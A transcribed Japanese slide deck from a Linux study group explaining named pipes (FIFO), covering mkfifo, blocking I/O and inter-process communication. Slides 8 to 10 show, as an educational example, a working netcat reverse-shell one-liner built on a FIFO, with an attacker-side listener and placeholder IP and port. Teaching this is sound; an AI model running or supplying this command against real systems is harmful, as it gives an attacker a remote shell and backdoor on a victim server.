Upgrade to Pro — share decks privately, control downloads, hide ads and more …

名前付きパイプ FIFO

246b59bbea7c40cbbbcbf94bfc6720ff?s=47 Osumi, Yusuke
February 13, 2021

名前付きパイプ FIFO

「新しいLinuxの教科書」を読む会 オンライン #10 での発表資料です。
https://linuxbook.connpass.com/event/202890/

246b59bbea7c40cbbbcbf94bfc6720ff?s=128

Osumi, Yusuke

February 13, 2021
Tweet

More Decks by Osumi, Yusuke

Other Decks in Technology

Transcript

  1. 名前付きパイプ FIFO @ozuma5119 1 「新しいLinuxの教科書」を読む会 オンライン #10 2021/02/13

  2. 名前付きパイプ FIFO 2 書き込むと止まる(ブロッキングI/O) $ echo "Hello" > fifo $

    tail -f fifo (別のターミナルで) 読み込んで解放
  3. 名前付きパイプ FIFO 3 先に読み込んでおく $ tail -f fifo $ echo

    "Hello" > fifo 今度は書き込むとブロックされない
  4. 名前付きパイプ FIFO 4 書き込むと止まる(ブロッキングI/O) $ echo "Hello" > fifo 1.

    入出力中は他の処理が行えない (特に遅いディスクを扱う ときにつらい) 2. ただし非同期処理で思わぬデータ破壊が起きにくい利点 ※深い話なので、ここではこれ以上突っ込まない
  5. 5 名前付きパイプ FIFO mkfifo - FIFO (名前付きパイプ) を作成する $ man

    mkfifo $ mkfifo fifo $ ls -l fifo prw-rw-r--. 1 ozuma ozuma 0 2月 12 20:47 fifo $
  6. 6 $ cat sample.txt | sort $ cat sample.txt >

    fifo $ sort < fifo 無名パイプ 名前付きパイプ
  7. プロセス間通信に使われる 7 プロセス実行.... ガッ SIGTERM(15) プロセスA プロセスB 通信したいデータ シグナルによるプ ロセス間通信

    名前付きパイプによる プロセス間通信 無名パイプ | と違って、 2つのプロセスはバラバラに 実行していて良い
  8. 高度な例(しかし実際の攻撃によく使われる) 被害サーバ:ここでは /tmp/f が名前付きパイプ 8 $ nc <IP> <port> <

    /tmp/f | /bin/sh >/tmp/f 2>&1 攻撃者側サーバ:待ち受けておく $ nc -lvnp <port> ※nc: netcatコマンド。ネットワークでデータストリームを流すcat サーバにバックドア Reverse Shell を作る
  9. 9 攻撃者が攻撃対象のマシン 上でコマンド実行 (実際は、バレないように 見えないところで実行) 攻撃者のマシンに シェルがつながって 自由に操作できる

  10. もう一度確認して解説 被害サーバ:ここでは /tmp/f が名前付きパイプ 10 $ nc <IP> <port> <

    /tmp/f | /bin/sh >/tmp/f 2>&1 攻撃者側サーバ:待ち受けておく $ nc -lvnp <port> ※nc: netcatコマンド。ネットワークでデータストリームを流すcat サーバにバックドア Reverse Shell を作る